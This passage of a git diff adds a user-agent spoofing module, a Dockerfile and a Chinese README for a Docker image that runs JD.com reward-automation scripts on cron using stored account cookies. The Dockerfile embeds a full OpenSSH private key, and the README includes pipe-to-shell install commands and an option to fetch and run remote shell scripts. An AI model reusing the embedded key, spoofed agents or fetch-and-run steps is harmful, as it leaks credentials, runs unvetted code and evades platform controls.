Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/3104834020;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/c633e62b5a4ad0fdd93d9862bdcacfa8f3ecef63|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/2237496805;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/13.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/48e495dcf5dc398b4d46b27e9f15a2b427a154aa|15;jdv/0|direct|-|none|-|1613354874698|1613952828;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;network/wifi;model/ONEPLUS A6000;addressid/0;aid/3d3bbb25af44c59c;oaid/;osVer/29;appBuild/1436;psn/ECbc2EqmdSa7mDF1PS1GSrV/Tn7R1LS1|6;psq/8;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.67;jdv/0|direct|-|none|-|1613822479379|1613991194;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;8.1.0;network/wifi;model/16th Plus;addressid/0;aid/f909e5f2c464c7c6;oaid/;osVer/27;appBuild/1436;psn/c21YWvVr77Hn6 pOZfxXGY4TZrre1 UOL5hcPbCEDMo=|3;psq/10;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 8.1.0;osv/8.1.0;pv/2.15;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/jsxdlyqj09;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 8.1.0; 16th Plus Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045514 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;network/wifi;model/Mi 10 Pro;addressid/0;aid/14d7cbd934eb7dc1;oaid/335f198546eb3141;osVer/30;appBuild/1436;psn/ZcQh/Wov sNYfZ6JUjTIUBu28 KT0T3u|1;psq/24;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/1.24;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 11; Mi 10 Pro Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;network/wifi;model/MI 8;addressid/1969998059;aid/8566972dfd9a795d;oaid/4a8b773c3e307386;osVer/29;appBuild/1436;psn/PhYbUtCsCJo r 1b8hwxjnY8rEv5S8XC|383;psq/14;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/374.14;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1609306590175|1609306596;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/jsxdlyqj09;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,4;addressid/1477231693;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/21.15;apprpd/MyJD_Main;ref/https%3A%2F%2Fgold.jd.com%2F%3Flng%3D0.000000%26lat%3D0.000000%26sid%3D4584eb84dc00141b0d58e000583a338w%26un_area%3D19_1607_3155_62114;psq/0;ads/;psn/2c822e59db319590266cc83b78c4a943783d0077|46;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/3.49;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/7;ads/;psn/9e0e0ea9c6801dfd53f2e50ffaa7f84c7b40cd15|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad7,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.14;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/3;ads/;psn/956c074c769cd2eeab2e36fca24ad4c9e469751a|8;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', +] +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +const USER_AGENT = USER_AGENTS[randomNumber(0, USER_AGENTS.length)]; + +module.exports = { + USER_AGENT +} diff --git a/docker/Dockerfile b/docker/Dockerfile new file mode 100644 index 0000000..b4dfea7 --- /dev/null +++ b/docker/Dockerfile @@ -0,0 +1,37 @@ +FROM node:lts-alpine3.12 + +LABEL AUTHOR="none" \ + VERSION=0.1.4 + +ARG KEY="-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAvRQk2oQqLB01iVnJKrnI3tTfJyEHzc2ULVor4vBrKKWOum4dbTeT\ndNWL5aS+CJso7scJT3BRq5fYVZcz5ra0MLMdQyFL1DdwurmzkhPYbwcNrJrB8abEPJ8ltS\nMoa0X9ecmSepaQFedZOZ2YeT/6AAXY+cc6xcwyuRVQ2ZJ3YIMBrRuVkF6nYwLyBLFegzhu\nJJeU5o53kfpbTCirwK0h9ZsYwbNbXYbWuJHmtl5tEBf2Hz+5eCkigXRq8EhRZlSnXfhPr2\n32VCb1A/gav2/YEaMPSibuBCzqVMVruP5D625XkxMdBdLqLBGWt7bCas7/zH2bf+q3zac4\nLcIFhkC6XwAAA9BjE3IGYxNyBgAAAAdzc2gtcnNhAAABAQC9FCTahCosHTWJWckqucje1N\n8nIQfNzZQtWivi8GsopY66bh1tN5N01YvlpL4ImyjuxwlPcFGrl9hVlzPmtrQwsx1DIUvU\nN3C6ubOSE9hvBw2smsHxpsQ8nyW1IyhrRf15yZJ6lpAV51k5nZh5P/oABdj5xzrFzDK5FV\nDZkndggwGtG5WQXqdjAvIEsV6DOG4kl5TmjneR+ltMKKvArSH1mxjBs1tdhta4kea2Xm0Q\nF/YfP7l4KSKBdGrwSFFmVKdd+E+vbfZUJvUD+Bq/b9gRow9KJu4ELOpUxWu4/kPrbleTEx\n0F0uosEZa3tsJqzv/MfZt/6rfNpzgtwgWGQLpfAAAAAwEAAQAAAQEAnMKZt22CBWcGHuUI\nytqTNmPoy2kwLim2I0+yOQm43k88oUZwMT+1ilUOEoveXgY+DpGIH4twusI+wt+EUVDC3e\nlyZlixpLV+SeFyhrbbZ1nCtYrtJutroRMVUTNf7GhvucwsHGS9+tr+96y4YDZxkBlJBfVu\nvdUJbLfGe0xamvE114QaZdbmKmtkHaMQJOUC6EFJI4JmSNLJTxNAXKIi3TUrS7HnsO3Xfv\nhDHElzSEewIC1smwLahS6zi2uwP1ih4fGpJJbU6FF/jMvHf/yByHDtdcuacuTcU798qT0q\nAaYlgMd9zrLC1OHMgSDcoz9/NQTi2AXGAdo4N+mnxPTHcQAAAIB5XCz1vYVwJ8bKqBelf1\nw7OlN0QDM4AUdHdzTB/mVrpMmAnCKV20fyA441NzQZe/52fMASUgNT1dQbIWCtDU2v1cP6\ncG8uyhJOK+AaFeDJ6NIk//d7o73HNxR+gCCGacleuZSEU6075Or2HVGHWweRYF9hbmDzZb\nCLw6NsYaP2uAAAAIEA3t1BpGHHek4rXNjl6d2pI9Pyp/PCYM43344J+f6Ndg3kX+y03Mgu\n06o33etzyNuDTslyZzcYUQqPMBuycsEb+o5CZPtNh+1klAVE3aDeHZE5N5HrJW3fkD4EZw\nmOUWnRj1RT2TsLwixB21EHVm7fh8Kys1d2ULw54LVmtv4+O3cAAACBANkw7XZaZ/xObHC9\n1PlT6vyWg9qHAmnjixDhqmXnS5Iu8TaKXhbXZFg8gvLgduGxH/sGwSEB5D6sImyY+DW/OF\nbmIVC4hwDUbCsTMsmTTTgyESwmuQ++JCh6f2Ams1vDKbi+nOVyqRvCrAHtlpaqSfv8hkjK\npBBqa/rO5yyYmeJZAAAAFHJvb3RAbmFzLmV2aW5lLnByZXNzAQIDBAUG\n-----END OPENSSH PRIVATE KEY-----" + +ENV DEFAULT_LIST_FILE=crontab_list.sh \ + CUSTOM_LIST_MERGE_TYPE=append \ + COOKIES_LIST=/scripts/logs/cookies.list \ + REPO_URL=git@gitee.com:lxk0301/jd_scripts.git \ + REPO_BRANCH=master + +RUN set -ex \ + && apk update \ + && apk upgrade \ + && apk add --no-cache bash tzdata git moreutils curl jq openssh-client \ + && rm -rf /var/cache/apk/* \ + && ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \ + && echo "Asia/Shanghai" > /etc/timezone \ + && mkdir -p /root/.ssh \ + && echo -e $KEY > /root/.ssh/id_rsa \ + && chmod 600 /root/.ssh/id_rsa \ + && ssh-keyscan gitee.com > /root/.ssh/known_hosts \ + && git clone -b $REPO_BRANCH $REPO_URL /scripts \ + && cd /scripts \ + && mkdir logs \ + && npm config set registry https://registry.npm.taobao.org \ + && npm install \ + && cp /scripts/docker/docker_entrypoint.sh /usr/local/bin \ + && chmod +x /usr/local/bin/docker_entrypoint.sh + +WORKDIR /scripts + +ENTRYPOINT ["docker_entrypoint.sh"] + +CMD [ "crond" ] \ No newline at end of file diff --git a/docker/Readme.md b/docker/Readme.md new file mode 100644 index 0000000..c216307 --- /dev/null +++ b/docker/Readme.md @@ -0,0 +1,264 @@ +![Docker Pulls](https://img.shields.io/docker/pulls/lxk0301/jd_scripts?style=for-the-badge) +### Usage +```diff ++ 2021-03-21更新 增加bot交互,spnode指令,功能是否开启自动根据你的配置判断,详见 https://gitee.com/lxk0301/jd_docker/pulls/18 + **bot交互启动前置条件为 配置telegram通知,并且未使用自己代理的 TG_API_HOST** + **spnode使用前置条件未启动bot交互** _(后续可能去掉该限制_ + 使用bot交互+spnode后 后续用户的cookie维护更新只需要更新logs/cookies.conf即可 + 使用bot交互+spnode后 后续执行脚本命令请使用spnode否者无法使用logs/cookies.conf的cookies执行脚本,定时任务也将自动替换为spnode命令执行 + 发送/spnode给bot获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/spnode /scripts/jd_818.js) + spnode功能概述示例 + spnode conc /scripts/jd_bean_change.js 为每个cookie单独执行jd_bean_change脚本(伪并发 + spnode 1 /scripts/jd_bean_change.js 为logs/cookies.conf文件里面第一行cookie账户单独执行jd_bean_change脚本 + spnode jd_XXXX /scripts/jd_bean_change.js 为logs/cookies.conf文件里面pt_pin=jd_XXXX的cookie账户单独执行jd_bean_change脚本 + spnode /scripts/jd_bean_change.js 为logs/cookies.conf所有cookies账户一起执行jd_bean_change脚本 + +**请仔细阅读并理解上面的内容,使用bot交互默认开启spnode指令功能功能。** ++ 2021-03-9更新 新版docker单容器多账号自动互助 ++开启方式:docker-compose.yml 中添加环境变量 - ENABLE_AUTO_HELP=true ++助力原则:不考虑需要被助力次数与提供助力次数 假设有3个账号,则生成: ”助力码1@助力码2@助力码3&助力码1@助力码2@助力码3&助力码1@助力码2@助力码3“ ++原理说明:1、定时调用 /scripts/docker/auto_help.sh collect 收集各个活动的助力码,整理、去重、排序、保存到 /scripts/logs/sharecodeCollection.log; + 2、(由于linux进程限制,父进程无法获取子进程环境变量)在每次脚本运行前,在当前进程先调用 /scripts/docker/auto_help.sh export 把助力码注入到环境变量 + ++ 2021-02-21更新 https://gitee.com/lxk0301/jd_scripts仓库被迫私有,老用户重新更新一下镜像:https://hub.docker.com/r/lxk0301/jd_scripts)(docker-compose.yml的REPO_URL记得修改)后续可同步更新jd_script仓库最新脚本 ++ 2021-02-10更新 docker-compose里面,填写环境变量 SHARE_CODE_FILE=/scripts/logs/sharecode.log, 多账号可实现自己互助(只限sharecode.log日志里面几个活动),注:已停用,请使用2021-03-9更新 ++ 2021-01-22更新 CUSTOM_LIST_FILE 参数支持远程定时任务列表 (⚠️务必确认列表中的任务在仓库里存在) ++ 例1:配置远程crontab_list.sh, 此处借用 shylocks 大佬的定时任务列表, 本仓库不包含列表中的任务代码, 仅作示范 ++ CUSTOM_LIST_FILE=https://raw.githubusercontent.com/shylocks/Loon/main/docker/crontab_list.sh ++ ++ 例2:配置docker挂载本地定时任务列表, 用法不变, 注意volumes挂载 ++ volumes: ++ - ./my_crontab_list.sh:/scripts/docker/my_crontab_list.sh ++ environment: ++ - CUSTOM_LIST_FILE=my_crontab_list.sh + + ++ 2021-01-21更新 增加 DO_NOT_RUN_SCRIPTS 参数配置不执行的脚本 ++ 例:DO_NOT_RUN_SCRIPTS=jd_family.js&jd_dreamFactory.js&jd_jxnc.js +建议填写完整文件名,不完整的文件名可能导致其他脚本被禁用。 +例如:“jd_joy”会匹配到“jd_joy_feedPets”、“jd_joy_reward”、“jd_joy_steal” + ++ 2021-01-03更新 增加 CUSTOM_SHELL_FILE 参数配置执行自定义shell脚本 ++ 例1:配置远程shell脚本, 我自己写了一个shell脚本https://raw.githubusercontent.com/iouAkira/someDockerfile/master/jd_scripts/shell_script_mod.sh 内容很简单下载惊喜农场并添加定时任务 ++ CUSTOM_SHELL_FILE=https://raw.githubusercontent.com/iouAkira/someDockerfile/master/jd_scripts/shell_script_mod.sh ++ ++ 例2:配置docker挂载本地自定义shell脚本,/scripts/docker/shell_script_mod.sh 为你在docker-compose.yml里面挂载到容器里面绝对路径 ++ CUSTOM_SHELL_FILE=/scripts/docker/shell_script_mod.sh ++ ++ tip:如果使用远程自定义,请保证网络畅通或者选择合适的国内仓库,例如有部分人的容器里面就下载不到github的raw文件,那就可以把自己的自定义shell写在gitee上,或者换本地挂载 ++ 如果是 docker 挂载本地,请保证文件挂载进去了,并且配置的是绝对路径。 ++ 自定义 shell 脚本里面如果要加 crontab 任务请使用 echo 追加到 /scripts/docker/merged_list_file.sh 里面否则不生效 ++ 注⚠️ 建议无shell能力的不要轻易使用,当然你可以找别人写好适配了这个docker镜像的脚本直接远程配置 ++ 上面写了这么多如果还看不懂,不建议使用该变量功能。 +_____ +! ⚠️⚠️⚠️2020-12-11更新镜像启动方式,虽然兼容旧版的运行启动方式,但是强烈建议更新镜像和配置后使用 +! 更新后`command:`指令配置不再需要 +! 更新后可以使用自定义任务文件追加在默任务文件之后,比以前的完全覆盖多一个选择 +! - 新的自定两个环境变量为 `CUSTOM_LIST_MERGE_TYPE`:自定文件的生效方式可选值为`append`,`overwrite`默认为`append` ; `CUSTOM_LIST_FILE`: 自定义文件的名字 +! 更新镜像增减镜像更新通知,以后镜像如果更新之后,会通知用户更新 +``` +> 推荐使用`docker-compose`所以这里只介绍`docker-compose`使用方式 + + + +Docker安装 + +- 国内一键安装 `sudo curl -sSL https://get.daocloud.io/docker | sh` +- 国外一键安装 `sudo curl -sSL get.docker.com | sh` +- 北京外国语大学开源软件镜像站 `https://mirrors.bfsu.edu.cn/help/docker-ce/` + + +docker-compose 安装(群晖`nas docker`自带安装了`docker-compose`) + +``` +sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose +sudo chmod +x /usr/local/bin/docker-compose +``` +`Ubuntu`用户快速安装`docker-compose` +``` +sudo apt-get update && sudo apt-get install -y python3-pip curl vim git moreutils +pip3 install --upgrade pip +pip install docker-compose +``` + +### win10用户下载安装[docker desktop](https://www.docker.com/products/docker-desktop) + +通过`docker-compose version`查看`docker-compose`版本,确认是否安装成功。 + + +### 如果需要使用 docker 多个账户独立并发执行定时任务,[参考这里](./example/docker%E5%A4%9A%E8%B4%A6%E6%88%B7%E4%BD%BF%E7%94%A8%E7%8B%AC%E7%AB%8B%E5%AE%B9%E5%99%A8%E4%BD%BF%E7%94%A8%E8%AF%B4%E6%98%8E.md#%E4%BD%BF%E7%94%A8%E6%AD%A4%E6%96%B9%E5%BC%8F%E8%AF%B7%E5%85%88%E7%90%86%E8%A7%A3%E5%AD%A6%E4%BC%9A%E4%BD%BF%E7%94%A8docker%E5%8A%9E%E6%B3%95%E4%B8%80%E7%9A%84%E4%BD%BF%E7%94%A8%E6%96%B9%E5%BC%8F) + +> 注⚠️:前提先理解学会使用这下面的教程 +### 创建一个目录`jd_scripts`用于存放备份配置等数据,迁移重装的时候只需要备份整个jd_scripts目录即可 +需要新建的目录文件结构参考如下: +``` +jd_scripts +├── logs +│   ├── XXXX.log +│   └── XXXX.log +├── my_crontab_list.sh +└── docker-compose.yml +``` +- `jd_scripts/logs`建一个空文件夹就行 +- `jd_scripts/docker-compose.yml` 参考内容如下(自己动手能力不行搞不定请使用默认配置): +- - [使用默认配置用这个](./example/default.yml) +- - [使用自定义任务追加到默认任务之后用这个](./example/custom-append.yml) +- - [使用自定义任务覆盖默认任务用这个](./example/custom-overwrite.yml) +- - [一次启动多容器并发用这个](./example/multi.yml) +- - [使用群晖默认配置用这个](./example/jd_scripts.syno.json) +- - [使用群晖自定义任务追加到默认任务之后用这个](./example/jd_scripts.custom-append.syno.json) +- - [使用群晖自定义任务覆盖默认任务用这个](./example/jd_scripts.custom-overwrite.syno.json) +- `jd_scripts/docker-compose.yml`里面的环境变量(`environment:`)配置[参考这里](../githubAction.md#互助码类环境变量) 和[本文末尾](../docker/Readme.md#docker专属环境变量) + + +- `jd_scripts/my_crontab_list.sh` 参考内容如下,自己根据需要调整增加删除,不熟悉用户推荐使用[默认配置](./crontab_list.sh)里面的内容: + +```shell +# 每3天的23:50分清理一次日志(互助码不清理,proc_file.sh对该文件进行了去重) +50 23 */3 * * find /scripts/logs -name '*.log' | grep -v 'sharecode' | xargs rm -rf + +##############短期活动############## +# 小鸽有礼2(活动时间:2021年1月28日~2021年2月28日) +34 9 * * * node /scripts/jd_xgyl.js >> /scripts/logs/jd_jd_xgyl.log 2>&1 + +#女装盲盒 活动时间:2021-2-19至2021-2-25 +5 7,23 19-25 2 * node /scripts/jd_nzmh.js >> /scripts/logs/jd_nzmh.log 2>&1 + +#京东极速版天天领红包 活动时间:2021-1-18至2021-3-3 +5 0,23 * * * node /scripts/jd_speed_redpocke.js >> /scripts/logs/jd_speed_redpocke.log 2>&1 +##############长期活动############## +# 签到 +3 0,18 * * * cd /scripts && node jd_bean_sign.js >> /scripts/logs/jd_bean_sign.log 2>&1 +# 东东超市兑换奖品 +0,30 0 * * * node /scripts/jd_blueCoin.js >> /scripts/logs/jd_blueCoin.log 2>&1 +# 摇京豆 +0 0 * * * node /scripts/jd_club_lottery.js >> /scripts/logs/jd_club_lottery.log 2>&1 +# 东东农场 +5 6-18/6 * * * node /scripts/jd_fruit.js >> /scripts/logs/jd_fruit.log 2>&1 +# 宠汪汪 +15 */2 * * * node /scripts/jd_joy.js >> /scripts/logs/jd_joy.log 2>&1 +# 宠汪汪喂食 +15 */1 * * * node /scripts/jd_joy_feedPets.js >> /scripts/logs/jd_joy_feedPets.log 2>&1 +# 宠汪汪偷好友积分与狗粮 +13 0-21/3 * * * node /scripts/jd_joy_steal.js >> /scripts/logs/jd_joy_steal.log 2>&1 +# 摇钱树 +0 */2 * * * node /scripts/jd_moneyTree.js >> /scripts/logs/jd_moneyTree.log 2>&1 +# 东东萌宠 +5 6-18/6 * * * node /scripts/jd_pet.js >> /scripts/logs/jd_pet.log 2>&1 +# 京东种豆得豆 +0 7-22/1 * * * node /scripts/jd_plantBean.js >> /scripts/logs/jd_plantBean.log 2>&1 +# 京东全民开红包 +1 1 * * * node /scripts/jd_redPacket.js >> /scripts/logs/jd_redPacket.log 2>&1 +# 进店领豆 +10 0 * * * node /scripts/jd_shop.js >> /scripts/logs/jd_shop.log 2>&1 +# 京东天天加速 +8 */3 * * * node /scripts/jd_speed.js >> /scripts/logs/jd_speed.log 2>&1 +# 东东超市 +11 1-23/5 * * * node /scripts/jd_superMarket.js >> /scripts/logs/jd_superMarket.log 2>&1 +# 取关京东店铺商品 +55 23 * * * node /scripts/jd_unsubscribe.js >> /scripts/logs/jd_unsubscribe.log 2>&1 +# 京豆变动通知 +0 10 * * * node /scripts/jd_bean_change.js >> /scripts/logs/jd_bean_change.log 2>&1 +# 京东抽奖机 +11 1 * * * node /scripts/jd_lotteryMachine.js >> /scripts/logs/jd_lotteryMachine.log 2>&1 +# 京东排行榜 +11 9 * * * node /scripts/jd_rankingList.js >> /scripts/logs/jd_rankingList.log 2>&1 +# 天天提鹅 +18 * * * * node /scripts/jd_daily_egg.js >> /scripts/logs/jd_daily_egg.log 2>&1 +# 金融养猪 +12 * * * * node /scripts/jd_pigPet.js >> /scripts/logs/jd_pigPet.log 2>&1 +# 点点券 +20 0,20 * * * node /scripts/jd_necklace.js >> /scripts/logs/jd_necklace.log 2>&1 +# 京喜工厂 +20 * * * * node /scripts/jd_dreamFactory.js >> /scripts/logs/jd_dreamFactory.log 2>&1 +# 东东小窝 +16 6,23 * * * node /scripts/jd_small_home.js >> /scripts/logs/jd_small_home.log 2>&1 +# 东东工厂 +36 * * * * node /scripts/jd_jdfactory.js >> /scripts/logs/jd_jdfactory.log 2>&1 +# 十元街 +36 8,18 * * * node /scripts/jd_syj.js >> /scripts/logs/jd_syj.log 2>&1 +# 京东快递签到 +23 1 * * * node 